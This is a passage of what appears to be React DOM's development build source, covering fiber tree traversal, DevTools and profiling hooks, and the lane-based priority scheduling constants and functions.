  // don't contain effects, by checking subtreeFlags.

  var BeforeMutationMask = // TODO: Remove Update flag from before mutation phase by re-landing Visibility
  // flag logic (see #20043)
  Update | Snapshot | ( 0);
  var MutationMask = Placement | Update | ChildDeletion | ContentReset | Ref | Hydrating | Visibility;
  var LayoutMask = Update | Callback | Ref | Visibility; // TODO: Split into PassiveMountMask and PassiveUnmountMask

  var PassiveMask = Passive | ChildDeletion; // Union of tags that don't get reset on clones.
  // This allows certain concepts to persist without recalculating them,
  // e.g. whether a subtree contains passive effects or portals.

  var StaticMask = LayoutStatic | PassiveStatic | RefStatic;

  var ReactCurrentOwner = ReactSharedInternals.ReactCurrentOwner;
  function getNearestMountedFiber(fiber) {
    var node = fiber;
    var nearestMounted = fiber;

    if (!fiber.alternate) {
      // If there is no alternate, this might be a new tree that isn't inserted
      // yet. If it is, then it will have a pending insertion effect on it.
      var nextNode = node;

      do {
        node = nextNode;

        if ((node.flags & (Placement | Hydrating)) !== NoFlags) {
          // This is an insertion or in-progress hydration. The nearest possible
          // mounted fiber is the parent but we need to continue to figure out
          // if that one is still mounted.
          nearestMounted = node.return;
        }

        nextNode = node.return;
      } while (nextNode);
    } else {
      while (node.return) {
        node = node.return;
      }
    }

    if (node.tag === HostRoot) {
      // TODO: Check if this was a nested HostRoot when used with
      // renderContainerIntoSubtree.
      return nearestMounted;
    } // If we didn't hit the root, that means that we're in an disconnected tree
    // that has been unmounted.


    return null;
  }
  function getSuspenseInstanceFromFiber(fiber) {
    if (fiber.tag === SuspenseComponent) {
      var suspenseState = fiber.memoizedState;

      if (suspenseState === null) {
        var current = fiber.alternate;

        if (current !== null) {
          suspenseState = current.memoizedState;
        }
      }

      if (suspenseState !== null) {
        return suspenseState.dehydrated;
      }
    }

    return null;
  }
  function getContainerFromFiber(fiber) {
    return fiber.tag === HostRoot ? fiber.stateNode.containerInfo : null;
  }
  function isFiberMounted(fiber) {
    return getNearestMountedFiber(fiber) === fiber;
  }
  function isMounted(component) {
    {
      var owner = ReactCurrentOwner.current;

      if (owner !== null && owner.tag === ClassComponent) {
        var ownerFiber = owner;
        var instance = ownerFiber.stateNode;

        if (!instance._warnedAboutRefsInRender) {
          error('%s is accessing isMounted inside its render() function. ' + 'render() should be a pure function of props and state. It should ' + 'never access something that requires stale data from the previous ' + 'render, such as refs. Move this logic to componentDidMount and ' + 'componentDidUpdate instead.', getComponentNameFromFiber(ownerFiber) || 'A component');
        }

        instance._warnedAboutRefsInRender = true;
      }
    }

    var fiber = get(component);

    if (!fiber) {
      return false;
    }

    return getNearestMountedFiber(fiber) === fiber;
  }

  function assertIsMounted(fiber) {
    if (getNearestMountedFiber(fiber) !== fiber) {
      throw new Error('Unable to find node on an unmounted component.');
    }
  }

  function findCurrentFiberUsingSlowPath(fiber) {
    var alternate = fiber.alternate;

    if (!alternate) {
      // If there is no alternate, then we only need to check if it is mounted.
      var nearestMounted = getNearestMountedFiber(fiber);

      if (nearestMounted === null) {
        throw new Error('Unable to find node on an unmounted component.');
      }

      if (nearestMounted !== fiber) {
        return null;
      }

      return fiber;
    } // If we have two possible branches, we'll walk backwards up to the root
    // to see what path the root points to. On the way we may hit one of the
    // special cases and we'll deal with them.


    var a = fiber;
    var b = alternate;

    while (true) {
      var parentA = a.return;

      if (parentA === null) {
        // We're at the root.
        break;
      }

      var parentB = parentA.alternate;

      if (parentB === null) {
        // There is no alternate. This is an unusual case. Currently, it only
        // happens when a Suspense component is hidden. An extra fragment fiber
        // is inserted in between the Suspense fiber and its children. Skip
        // over this extra fragment fiber and proceed to the next parent.
        var nextParent = parentA.return;

        if (nextParent !== null) {
          a = b = nextParent;
          continue;
        } // If there's no parent, we're at the root.


        break;
      } // If both copies of the parent fiber point to the same child, we can
      // assume that the child is current. This happens when we bailout on low
      // priority: the bailed out fiber's child reuses the current child.


      if (parentA.child === parentB.child) {
        var child = parentA.child;

        while (child) {
          if (child === a) {
            // We've determined that A is the current branch.
            assertIsMounted(parentA);
            return fiber;
          }

          if (child === b) {
            // We've determined that B is the current branch.
            assertIsMounted(parentA);
            return alternate;
          }

          child = child.sibling;
        } // We should never have an alternate for any mounting node. So the only
        // way this could possibly happen is if this was unmounted, if at all.


        throw new Error('Unable to find node on an unmounted component.');
      }

      if (a.return !== b.return) {
        // The return pointer of A and the return pointer of B point to different
        // fibers. We assume that return pointers never criss-cross, so A must
        // belong to the child set of A.return, and B must belong to the child
        // set of B.return.
        a = parentA;
        b = parentB;
      } else {
        // The return pointers point to the same fiber. We'll have to use the
        // default, slow path: scan the child sets of each parent alternate to see
        // which child belongs to which set.
        //
        // Search parent A's child set
        var didFindChild = false;
        var _child = parentA.child;

        while (_child) {
          if (_child === a) {
            didFindChild = true;
            a = parentA;
            b = parentB;
            break;
          }

          if (_child === b) {
            didFindChild = true;
            b = parentA;
            a = parentB;
            break;
          }

          _child = _child.sibling;
        }

        if (!didFindChild) {
          // Search parent B's child set
          _child = parentB.child;

          while (_child) {
            if (_child === a) {
              didFindChild = true;
              a = parentB;
              b = parentA;
              break;
            }

            if (_child === b) {
              didFindChild = true;
              b = parentB;
              a = parentA;
              break;
            }

            _child = _child.sibling;
          }

          if (!didFindChild) {
            throw new Error('Child was not found in either parent set. This indicates a bug ' + 'in React related to the return pointer. Please file an issue.');
          }
        }
      }

      if (a.alternate !== b) {
        throw new Error("Return fibers should always be each others' alternates. " + 'This error is likely caused by a bug in React. Please file an issue.');
      }
    } // If the root is not a host container, we're in a disconnected tree. I.e.
    // unmounted.


    if (a.tag !== HostRoot) {
      throw new Error('Unable to find node on an unmounted component.');
    }

    if (a.stateNode.current === a) {
      // We've determined that A is the current branch.
      return fiber;
    } // Otherwise B has to be current branch.


    return alternate;
  }
  function findCurrentHostFiber(parent) {
    var currentParent = findCurrentFiberUsingSlowPath(parent);
    return currentParent !== null ? findCurrentHostFiberImpl(currentParent) : null;
  }

  function findCurrentHostFiberImpl(node) {
    // Next we'll drill down this component to find the first HostComponent/Text.
    if (node.tag === HostComponent || node.tag === HostText) {
      return node;
    }

    var child = node.child;

    while (child !== null) {
      var match = findCurrentHostFiberImpl(child);

      if (match !== null) {
        return match;
      }

      child = child.sibling;
    }

    return null;
  }

  function findCurrentHostFiberWithNoPortals(parent) {
    var currentParent = findCurrentFiberUsingSlowPath(parent);
    return currentParent !== null ? findCurrentHostFiberWithNoPortalsImpl(currentParent) : null;
  }

  function findCurrentHostFiberWithNoPortalsImpl(node) {
    // Next we'll drill down this component to find the first HostComponent/Text.
    if (node.tag === HostComponent || node.tag === HostText) {
      return node;
    }

    var child = node.child;

    while (child !== null) {
      if (child.tag !== HostPortal) {
        var match = findCurrentHostFiberWithNoPortalsImpl(child);

        if (match !== null) {
          return match;
        }
      }

      child = child.sibling;
    }

    return null;
  }

  // This module only exists as an ESM wrapper around the external CommonJS
  var scheduleCallback = unstable_scheduleCallback;
  var cancelCallback = unstable_cancelCallback;
  var shouldYield = unstable_shouldYield;
  var requestPaint = unstable_requestPaint;
  var now = unstable_now;
  var getCurrentPriorityLevel = unstable_getCurrentPriorityLevel;
  var ImmediatePriority = unstable_ImmediatePriority;
  var UserBlockingPriority = unstable_UserBlockingPriority;
  var NormalPriority = unstable_NormalPriority;
  var LowPriority = unstable_LowPriority;
  var IdlePriority = unstable_IdlePriority;
  // this doesn't actually exist on the scheduler, but it *does*
  // on scheduler/unstable_mock, which we'll need for internal testing
  var unstable_yieldValue$1 = unstable_yieldValue;
  var unstable_setDisableYieldValue$1 = unstable_setDisableYieldValue;

  var rendererID = null;
  var injectedHook = null;
  var injectedProfilingHooks = null;
  var hasLoggedError = false;
  var isDevToolsPresent = typeof __REACT_DEVTOOLS_GLOBAL_HOOK__ !== 'undefined';
  function injectInternals(internals) {
    if (typeof __REACT_DEVTOOLS_GLOBAL_HOOK__ === 'undefined') {
      // No DevTools
      return false;
    }

    var hook = __REACT_DEVTOOLS_GLOBAL_HOOK__;

    if (hook.isDisabled) {
      // This isn't a real property on the hook, but it can be set to opt out
      // of DevTools integration and associated warnings and logs.
      // https://github.com/facebook/react/issues/3877
      return true;
    }

    if (!hook.supportsFiber) {
      {
        error('The installed version of React DevTools is too old and will not work ' + 'with the current version of React. Please update React DevTools. ' + 'https://reactjs.org/link/react-devtools');
      } // DevTools exists, even though it doesn't support Fiber.


      return true;
    }

    try {
      if (enableSchedulingProfiler) {
        // Conditionally inject these hooks only if Timeline profiler is supported by this build.
        // This gives DevTools a way to feature detect that isn't tied to version number
        // (since profiling and timeline are controlled by different feature flags).
        internals = assign({}, internals, {
          getLaneLabelMap: getLaneLabelMap,
          injectProfilingHooks: injectProfilingHooks
        });
      }

      rendererID = hook.inject(internals); // We have successfully injected, so now it is safe to set up hooks.

      injectedHook = hook;
    } catch (err) {
      // Catch all errors because it is unsafe to throw during initialization.
      {
        error('React instrumentation encountered an error: %s.', err);
      }
    }

    if (hook.checkDCE) {
      // This is the real DevTools.
      return true;
    } else {
      // This is likely a hook installed by Fast Refresh runtime.
      return false;
    }
  }
  function onScheduleRoot(root, children) {
    {
      if (injectedHook && typeof injectedHook.onScheduleFiberRoot === 'function') {
        try {
          injectedHook.onScheduleFiberRoot(rendererID, root, children);
        } catch (err) {
          if ( !hasLoggedError) {
            hasLoggedError = true;

            error('React instrumentation encountered an error: %s', err);
          }
        }
      }
    }
  }
  function onCommitRoot(root, eventPriority) {
    if (injectedHook && typeof injectedHook.onCommitFiberRoot === 'function') {
      try {
        var didError = (root.current.flags & DidCapture) === DidCapture;

        if (enableProfilerTimer) {
          var schedulerPriority;

          switch (eventPriority) {
            case DiscreteEventPriority:
              schedulerPriority = ImmediatePriority;
              break;

            case ContinuousEventPriority:
              schedulerPriority = UserBlockingPriority;
              break;

            case DefaultEventPriority:
              schedulerPriority = NormalPriority;
              break;

            case IdleEventPriority:
              schedulerPriority = IdlePriority;
              break;

            default:
              schedulerPriority = NormalPriority;
              break;
          }

          injectedHook.onCommitFiberRoot(rendererID, root, schedulerPriority, didError);
        } else {
          injectedHook.onCommitFiberRoot(rendererID, root, undefined, didError);
        }
      } catch (err) {
        {
          if (!hasLoggedError) {
            hasLoggedError = true;

            error('React instrumentation encountered an error: %s', err);
          }
        }
      }
    }
  }
  function onPostCommitRoot(root) {
    if (injectedHook && typeof injectedHook.onPostCommitFiberRoot === 'function') {
      try {
        injectedHook.onPostCommitFiberRoot(rendererID, root);
      } catch (err) {
        {
          if (!hasLoggedError) {
            hasLoggedError = true;

            error('React instrumentation encountered an error: %s', err);
          }
        }
      }
    }
  }
  function onCommitUnmount(fiber) {
    if (injectedHook && typeof injectedHook.onCommitFiberUnmount === 'function') {
      try {
        injectedHook.onCommitFiberUnmount(rendererID, fiber);
      } catch (err) {
        {
          if (!hasLoggedError) {
            hasLoggedError = true;

            error('React instrumentation encountered an error: %s', err);
          }
        }
      }
    }
  }
  function setIsStrictModeForDevtools(newIsStrictMode) {
    {
      if (typeof unstable_yieldValue$1 === 'function') {
        // We're in a test because Scheduler.unstable_yieldValue only exists
        // in SchedulerMock. To reduce the noise in strict mode tests,
        // suppress warnings and disable scheduler yielding during the double render
        unstable_setDisableYieldValue$1(newIsStrictMode);
        setSuppressWarning(newIsStrictMode);
      }

      if (injectedHook && typeof injectedHook.setStrictMode === 'function') {
        try {
          injectedHook.setStrictMode(rendererID, newIsStrictMode);
        } catch (err) {
          {
            if (!hasLoggedError) {
              hasLoggedError = true;

              error('React instrumentation encountered an error: %s', err);
            }
          }
        }
      }
    }
  } // Profiler API hooks

  function injectProfilingHooks(profilingHooks) {
    injectedProfilingHooks = profilingHooks;
  }

  function getLaneLabelMap() {
    {
      var map = new Map();
      var lane = 1;

      for (var index = 0; index < TotalLanes; index++) {
        var label = getLabelForLane(lane);
        map.set(lane, label);
        lane *= 2;
      }

      return map;
    }
  }

  function markCommitStarted(lanes) {
    {
      if (injectedProfilingHooks !== null && typeof injectedProfilingHooks.markCommitStarted === 'function') {
        injectedProfilingHooks.markCommitStarted(lanes);
      }
    }
  }
  function markCommitStopped() {
    {
      if (injectedProfilingHooks !== null && typeof injectedProfilingHooks.markCommitStopped === 'function') {
        injectedProfilingHooks.markCommitStopped();
      }
    }
  }
  function markComponentRenderStarted(fiber) {
    {
      if (injectedProfilingHooks !== null && typeof injectedProfilingHooks.markComponentRenderStarted === 'function') {
        injectedProfilingHooks.markComponentRenderStarted(fiber);
      }
    }
  }
  function markComponentRenderStopped() {
    {
      if (injectedProfilingHooks !== null && typeof injectedProfilingHooks.markComponentRenderStopped === 'function') {
        injectedProfilingHooks.markComponentRenderStopped();
      }
    }
  }
  function markComponentPassiveEffectMountStarted(fiber) {
    {
      if (injectedProfilingHooks !== null && typeof injectedProfilingHooks.markComponentPassiveEffectMountStarted === 'function') {
        injectedProfilingHooks.markComponentPassiveEffectMountStarted(fiber);
      }
    }
  }
  function markComponentPassiveEffectMountStopped() {
    {
      if (injectedProfilingHooks !== null && typeof injectedProfilingHooks.markComponentPassiveEffectMountStopped === 'function') {
        injectedProfilingHooks.markComponentPassiveEffectMountStopped();
      }
    }
  }
  function markComponentPassiveEffectUnmountStarted(fiber) {
    {
      if (injectedProfilingHooks !== null && typeof injectedProfilingHooks.markComponentPassiveEffectUnmountStarted === 'function') {
        injectedProfilingHooks.markComponentPassiveEffectUnmountStarted(fiber);
      }
    }
  }
  function markComponentPassiveEffectUnmountStopped() {
    {
      if (injectedProfilingHooks !== null && typeof injectedProfilingHooks.markComponentPassiveEffectUnmountStopped === 'function') {
        injectedProfilingHooks.markComponentPassiveEffectUnmountStopped();
      }
    }
  }
  function markComponentLayoutEffectMountStarted(fiber) {
    {
      if (injectedProfilingHooks !== null && typeof injectedProfilingHooks.markComponentLayoutEffectMountStarted === 'function') {
        injectedProfilingHooks.markComponentLayoutEffectMountStarted(fiber);
      }
    }
  }
  function markComponentLayoutEffectMountStopped() {
    {
      if (injectedProfilingHooks !== null && typeof injectedProfilingHooks.markComponentLayoutEffectMountStopped === 'function') {
        injectedProfilingHooks.markComponentLayoutEffectMountStopped();
      }
    }
  }
  function markComponentLayoutEffectUnmountStarted(fiber) {
    {
      if (injectedProfilingHooks !== null && typeof injectedProfilingHooks.markComponentLayoutEffectUnmountStarted === 'function') {
        injectedProfilingHooks.markComponentLayoutEffectUnmountStarted(fiber);
      }
    }
  }
  function markComponentLayoutEffectUnmountStopped() {
    {
      if (injectedProfilingHooks !== null && typeof injectedProfilingHooks.markComponentLayoutEffectUnmountStopped === 'function') {
        injectedProfilingHooks.markComponentLayoutEffectUnmountStopped();
      }
    }
  }
  function markComponentErrored(fiber, thrownValue, lanes) {
    {
      if (injectedProfilingHooks !== null && typeof injectedProfilingHooks.markComponentErrored === 'function') {
        injectedProfilingHooks.markComponentErrored(fiber, thrownValue, lanes);
      }
    }
  }
  function markComponentSuspended(fiber, wakeable, lanes) {
    {
      if (injectedProfilingHooks !== null && typeof injectedProfilingHooks.markComponentSuspended === 'function') {
        injectedProfilingHooks.markComponentSuspended(fiber, wakeable, lanes);
      }
    }
  }
  function markLayoutEffectsStarted(lanes) {
    {
      if (injectedProfilingHooks !== null && typeof injectedProfilingHooks.markLayoutEffectsStarted === 'function') {
        injectedProfilingHooks.markLayoutEffectsStarted(lanes);
      }
    }
  }
  function markLayoutEffectsStopped() {
    {
      if (injectedProfilingHooks !== null && typeof injectedProfilingHooks.markLayoutEffectsStopped === 'function') {
        injectedProfilingHooks.markLayoutEffectsStopped();
      }
    }
  }
  function markPassiveEffectsStarted(lanes) {
    {
      if (injectedProfilingHooks !== null && typeof injectedProfilingHooks.markPassiveEffectsStarted === 'function') {
        injectedProfilingHooks.markPassiveEffectsStarted(lanes);
      }
    }
  }
  function markPassiveEffectsStopped() {
    {
      if (injectedProfilingHooks !== null && typeof injectedProfilingHooks.markPassiveEffectsStopped === 'function') {
        injectedProfilingHooks.markPassiveEffectsStopped();
      }
    }
  }
  function markRenderStarted(lanes) {
    {
      if (injectedProfilingHooks !== null && typeof injectedProfilingHooks.markRenderStarted === 'function') {
        injectedProfilingHooks.markRenderStarted(lanes);
      }
    }
  }
  function markRenderYielded() {
    {
      if (injectedProfilingHooks !== null && typeof injectedProfilingHooks.markRenderYielded === 'function') {
        injectedProfilingHooks.markRenderYielded();
      }
    }
  }
  function markRenderStopped() {
    {
      if (injectedProfilingHooks !== null && typeof injectedProfilingHooks.markRenderStopped === 'function') {
        injectedProfilingHooks.markRenderStopped();
      }
    }
  }
  function markRenderScheduled(lane) {
    {
      if (injectedProfilingHooks !== null && typeof injectedProfilingHooks.markRenderScheduled === 'function') {
        injectedProfilingHooks.markRenderScheduled(lane);
      }
    }
  }
  function markForceUpdateScheduled(fiber, lane) {
    {
      if (injectedProfilingHooks !== null && typeof injectedProfilingHooks.markForceUpdateScheduled === 'function') {
        injectedProfilingHooks.markForceUpdateScheduled(fiber, lane);
      }
    }
  }
  function markStateUpdateScheduled(fiber, lane) {
    {
      if (injectedProfilingHooks !== null && typeof injectedProfilingHooks.markStateUpdateScheduled === 'function') {
        injectedProfilingHooks.markStateUpdateScheduled(fiber, lane);
      }
    }
  }

  var NoMode =
  /*                         */
  0; // TODO: Remove ConcurrentMode by reading from the root tag instead

  var ConcurrentMode =
  /*                 */
  1;
  var ProfileMode =
  /*                    */
  2;
  var StrictLegacyMode =
  /*               */
  8;
  var StrictEffectsMode =
  /*              */
  16;

  // TODO: This is pretty well supported by browsers. Maybe we can drop it.
  var clz32 = Math.clz32 ? Math.clz32 : clz32Fallback; // Count leading zeros.
  // Based on:
  // https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/clz32

  var log = Math.log;
  var LN2 = Math.LN2;

  function clz32Fallback(x) {
    var asUint = x >>> 0;

    if (asUint === 0) {
      return 32;
    }

    return 31 - (log(asUint) / LN2 | 0) | 0;
  }

  // If those values are changed that package should be rebuilt and redeployed.

  var TotalLanes = 31;
  var NoLanes =
  /*                        */
  0;
  var NoLane =
  /*                          */
  0;
  var SyncLane =
  /*                        */
  1;
  var InputContinuousHydrationLane =
  /*    */
  2;
  var InputContinuousLane =
  /*             */
  4;
  var DefaultHydrationLane =
  /*            */
  8;
  var DefaultLane =
  /*                     */
  16;
  var TransitionHydrationLane =
  /*                */
  32;
  var TransitionLanes =
  /*                       */
  4194240;
  var TransitionLane1 =
  /*                        */
  64;
  var TransitionLane2 =
  /*                        */
  128;
  var TransitionLane3 =
  /*                        */
  256;
  var TransitionLane4 =
  /*                        */
  512;
  var TransitionLane5 =
  /*                        */
  1024;
  var TransitionLane6 =
  /*                        */
  2048;
  var TransitionLane7 =
  /*                        */
  4096;
  var TransitionLane8 =
  /*                        */
  8192;
  var TransitionLane9 =
  /*                        */
  16384;
  var TransitionLane10 =
  /*                       */
  32768;
  var TransitionLane11 =
  /*                       */
  65536;
  var TransitionLane12 =
  /*                       */
  131072;
  var TransitionLane13 =
  /*                       */
  262144;
  var TransitionLane14 =
  /*                       */
  524288;
  var TransitionLane15 =
  /*                       */
  1048576;
  var TransitionLane16 =
  /*                       */
  2097152;
  var RetryLanes =
  /*                            */
  130023424;
  var RetryLane1 =
  /*                             */
  4194304;
  var RetryLane2 =
  /*                             */
  8388608;
  var RetryLane3 =
  /*                             */
  16777216;
  var RetryLane4 =
  /*                             */
  33554432;
  var RetryLane5 =
  /*                             */
  67108864;
  var SomeRetryLane = RetryLane1;
  var SelectiveHydrationLane =
  /*          */
  134217728;
  var NonIdleLanes =
  /*                          */
  268435455;
  var IdleHydrationLane =
  /*               */
  268435456;
  var IdleLane =
  /*                        */
  536870912;
  var OffscreenLane =
  /*                   */
  1073741824; // This function is used for the experimental timeline (react-devtools-timeline)
  // It should be kept in sync with the Lanes values above.

  function getLabelForLane(lane) {
    {
      if (lane & SyncLane) {
        return 'Sync';
      }

      if (lane & InputContinuousHydrationLane) {
        return 'InputContinuousHydration';
      }

      if (lane & InputContinuousLane) {
        return 'InputContinuous';
      }

      if (lane & DefaultHydrationLane) {
        return 'DefaultHydration';
      }

      if (lane & DefaultLane) {
        return 'Default';
      }

      if (lane & TransitionHydrationLane) {
        return 'TransitionHydration';
      }

      if (lane & TransitionLanes) {
        return 'Transition';
      }

      if (lane & RetryLanes) {
        return 'Retry';
      }

      if (lane & SelectiveHydrationLane) {
        return 'SelectiveHydration';
      }

      if (lane & IdleHydrationLane) {
        return 'IdleHydration';
      }

      if (lane & IdleLane) {
        return 'Idle';
      }

      if (lane & OffscreenLane) {
        return 'Offscreen';
      }
    }
  }
  var NoTimestamp = -1;
  var nextTransitionLane = TransitionLane1;
  var nextRetryLane = RetryLane1;

  function getHighestPriorityLanes(lanes) {
    switch (getHighestPriorityLane(lanes)) {
      case SyncLane:
        return SyncLane;

      case InputContinuousHydrationLane:
        return InputContinuousHydrationLane;

      case InputContinuousLane:
        return InputContinuousLane;

      case DefaultHydrationLane:
        return DefaultHydrationLane;

      case DefaultLane:
        return DefaultLane;

      case TransitionHydrationLane:
        return TransitionHydrationLane;

      case TransitionLane1:
      case TransitionLane2:
      case TransitionLane3:
      case TransitionLane4:
      case TransitionLane5:
      case TransitionLane6:
      case TransitionLane7:
      case TransitionLane8:
      case TransitionLane9:
      case TransitionLane10:
      case TransitionLane11:
      case TransitionLane12:
      case TransitionLane13:
      case TransitionLane14:
      case TransitionLane15:
      case TransitionLane16:
        return lanes & TransitionLanes;

      case RetryLane1:
      case RetryLane2:
      case RetryLane3:
      case RetryLane4:
      case RetryLane5:
        return lanes & RetryLanes;

      case SelectiveHydrationLane:
        return SelectiveHydrationLane;

      case IdleHydrationLane:
        return IdleHydrationLane;

      case IdleLane:
        return IdleLane;

      case OffscreenLane:
        return OffscreenLane;

      default:
        {
          error('Should have found matching lanes. This is a bug in React.');
        } // This shouldn't be reachable, but as a fallback, return the entire bitmask.


        return lanes;
    }
  }

  function getNextLanes(root, wipLanes) {
    // Early bailout if there's no pending work left.
    var pendingLanes = root.pendingLanes;

    if (pendingLanes === NoLanes) {
      return NoLanes;
    }

    var nextLanes = NoLanes;
    var suspendedLanes = root.suspendedLanes;
    var pingedLanes = root.pingedLanes; // Do not work on any idle work until all the non-idle work has finished,
    // even if the work is suspended.

    var nonIdlePendingLanes = pendingLanes & NonIdleLanes;

    if (nonIdlePendingLanes !== NoLanes) {
      var nonIdleUnblockedLanes = nonIdlePendingLanes & ~suspendedLanes;

      if (nonIdleUnblockedLanes !== NoLanes) {
        nextLanes = getHighestPriorityLanes(nonIdleUnblockedLanes);
      } else {
        var nonIdlePingedLanes = nonIdlePendingLanes & pingedLanes;

        if (nonIdlePingedLanes !== NoLanes) {
          nextLanes = getHighestPriorityLanes(nonIdlePingedLanes);
        }
      }
    } else {
      // The only remaining work is Idle.
      var unblockedLanes = pendingLanes & ~suspendedLanes;

      if (unblockedLanes !== NoLanes) {
        nextLanes = getHighestPriorityLanes(unblockedLanes);
      } else {
        if (pingedLanes !== NoLanes) {
          nextLanes = getHighestPriorityLanes(pingedLanes);
        }
      }
    }

    if (nextLanes === NoLanes) {
      // This should only be reachable if we're suspended
      // TODO: Consider warning in this path if a fallback timer is not scheduled.
      return NoLanes;
    } // If we're already in the middle of a render, switching lanes will interrupt
    // it and we'll lose our progress. We should only do this if the new lanes are
    // higher priority.


    if (wipLanes !== NoLanes && wipLanes !== nextLanes && // If we already suspended with a delay, then interrupting is fine. Don't
    // bother waiting until the root is complete.
    (wipLanes & suspendedLanes) === NoLanes) {
      var nextLane = getHighestPriorityLane(nextLanes);
      var wipLane = getHighestPriorityLane(wipLanes);

      if ( // Tests whether the next lane is equal or lower priority than the wip
      // one. This works because the bits decrease in priority as you go left.
      nextLane >= wipLane || // Default priority updates should not interrupt transition updates. The
      // only difference between default updates and transition updates is that
      // default updates do not support refresh transitions.
      nextLane === DefaultLane && (wipLane & TransitionLanes) !== NoLanes) {
        // Keep working on the existing in-progress tree. Do not interrupt.
        return wipLanes;
      }
    }

    if ((nextLanes & InputContinuousLane) !== NoLanes) {
      // When updates are sync by default, we entangle continuous priority updates
      // and default updates, so they render in the same batch. The only reason
      // they use separate lanes is because continuous updates should interrupt
      // transitions, but default updates should not.
      nextLanes |= pendingLanes & DefaultLane;
    } // Check for entangled lanes and add them to the batch.
    //
    // A lane is said to be entangled with another when it's not allowed to render
    // in a batch that does not also include the other lane. Typically we do this
    // when multiple updates have the same source, and we only want to respond to
    // the most recent event from that source.
    //
    // Note that we apply entanglements *after* checking for partial work above.
    // This means that if a lane is entangled during an interleaved event while
    // it's already rendering, we won't interrupt it. This is intentional, since
    // entanglement is usually "best effort": we'll try our best to render the
    // lanes in the same batch, but it's not worth throwing out partially
    // completed work in order to do it.
    // TODO: Reconsider this. The counter-argument is that the partial work
    // represents an intermediate state, which we don't want to show to the user.
    // And by spending extra time finishing it, we're increasing the amount of
    // time it takes to show the final state, which is what they are actually
    // waiting for.
    //
    // For those exceptions where entanglement is semantically important, like
    // useMutableSource, we should ensure that there is no partial work at the
    // time we apply the entanglement.


    var entangledLanes = root.entangledLanes;

    if (entangledLanes !== NoLanes) {
      var entanglements = root.entanglements;
      var lanes = nextLanes & entangledLanes;

      while (lanes > 0) {
        var index = pickArbitraryLaneIndex(lanes);
        var lane = 1 << index;
        nextLanes |= entanglements[index];
        lanes &= ~lane;
      }
    }

    return nextLanes;
  }
  function getMostRecentEventTime(root, lanes) {
    var eventTimes = root.eventTimes;
    var mostRecentEventTime = NoTimestamp;

    while (lanes > 0) {
      var index = pickArbitraryLaneIndex(lanes);
      var lane = 1 << index;
      var eventTime = eventTimes[index];

      if (eventTime > mostRecentEventTime) {
        mostRecentEventTime = eventTime;
      }

      lanes &= ~lane;
    }

    return mostRecentEventTime;
  }

  function computeExpirationTime(lane, currentTime) {
    switch (lane) {
      case SyncLane:
      case InputContinuousHydrationLane:
      case InputContinuousLane:
        // User interactions should expire slightly more quickly.
        //
        // NOTE: This is set to the corresponding constant as in Scheduler.js.
        // When we made it larger, a product metric in www regressed, suggesting
        // there's a user interaction that's being starved by a series of
        // synchronous updates. If that theory is correct, the proper solution is
        // to fix the starvation. However, this scenario supports the idea that
        // expiration times are an important safeguard when starvation
        // does happen.
        return currentTime + 250;

      case DefaultHydrationLane:
      case DefaultLane:
      case TransitionHydrationLane:
      case TransitionLane1:
      case TransitionLane2:
      case TransitionLane3:
      case TransitionLane4:
      case TransitionLane5:
      case TransitionLane6:
      case TransitionLane7:
      case TransitionLane8:
      case TransitionLane9:
      case TransitionLane10:
      case TransitionLane11:
      case TransitionLane12:
      case TransitionLane13:
      case TransitionLane14:
      case TransitionLane15:
      case TransitionLane16:
        return currentTime + 5000;

      case RetryLane1:
      case RetryLane2:
      case RetryLane3:
      case RetryLane4:
      case RetryLane5:
        // TODO: Retries should be allowed to expire if they are CPU bound for
        // too long, but when I made this change it caused a spike in browser
        // crashes. There must be some other underlying bug; not super urgent but
        // ideally should figure out why and fix it. Unfortunately we don't have
        // a repro for the crashes, only detected via production metrics.
        return NoTimestamp;

      case SelectiveHydrationLane:
      case IdleHydrationLane:
      case IdleLane:
      case OffscreenLane:
        // Anything idle priority or lower should never expire.
        return NoTimestamp;

      default:
        {
          error('Should have found matching lanes. This is a bug in React.');
        }

        return NoTimestamp;
    }
  }

  function markStarvedLanesAsExpired(root, currentTime) {
    // TODO: This gets called every time we yield. We can optimize by storing
    // the earliest expiration time on the root. Then use that to quickly bail out
    // of this function.
    var pendingLanes = root.pendingLanes;
    var suspendedLanes = root.suspendedLanes;
    var pingedLanes = root.pingedLanes;
    var expirationTimes = root.expirationTimes; // Iterate through the pending lanes and check if we've reached their
    // expiration time. If so, we'll assume the update is being starved and mark
    // it as expired to force it to finish.

    var lanes = pendingLanes;

    while (lanes > 0) {
      var index = pickArbitraryLaneIndex(lanes);
      var lane = 1 << index;
      var expirationTime = expirationTimes[index];

      if (expirationTime === NoTimestamp) {
        // Found a pending lane with no expiration time. If it's not suspended, or
        // if it's pinged, assume it's CPU-bound. Compute a new expiration time
        // using the current time.
        if ((lane & suspendedLanes) === NoLanes || (lane & pingedLanes) !== NoLanes) {
          // Assumes timestamps are monotonically increasing.
          expirationTimes[index] = computeExpirationTime(lane, currentTime);
        }
      } else if (expirationTime <= currentTime) {
        // This lane expired
        root.expiredLanes |= lane;
      }

      lanes &= ~lane;
    }
  } // This returns the highest priority pending lanes regardless of whether they
  // are suspended.

  function getHighestPriorityPendingLanes(root) {
    return getHighestPriorityLanes(root.pendingLanes);
  }
  function getLanesToRetrySynchronouslyOnError(root) {
    var everythingButOffscreen = root.pendingLanes & ~OffscreenLane;

    if (everythingButOffscreen !== NoLanes) {
      return everythingButOffscreen;
    }

    if (everythingButOffscreen & OffscreenLane) {
      return OffscreenLane;
    }

    return NoLanes;
  }
  function includesSyncLane(lanes) {
    return (lanes & SyncLane) !== NoLanes;
  }
  function includesNonIdleWork(lanes) {
    return (lanes & NonIdleLanes) !== NoLanes;
  }
  function includesOnlyRetries(lanes) {
    return (lanes & RetryLanes) === lanes;
  }
  function includesOnlyNonUrgentLanes(lanes) {
    var UrgentLanes = SyncLane | InputContinuousLane | DefaultLane;
    return (lanes & UrgentLanes) === NoLanes;
  }
  function includesOnlyTransitions(lanes) {
    return (lanes & TransitionLanes) === lanes;
  }
  function includesBlockingLane(root, lanes) {

    var SyncDefaultLanes = InputContinuousHydrationLane | InputContinuousLane | DefaultHydrationLane | DefaultLane;
    return (lanes & SyncDefaultLanes) !== NoLanes;
  }
  function includesExpiredLane(root, lanes) {
    // This is a separate check from includesBlockingLane because a lane can
    // expire after a render has already started.
    return (lanes & root.expiredLanes) !== NoLanes;
  }
  function isTransitionLane(lane) {
    return (lane & TransitionLanes) !== NoLanes;
  }
  function claimNextTransitionLane() {
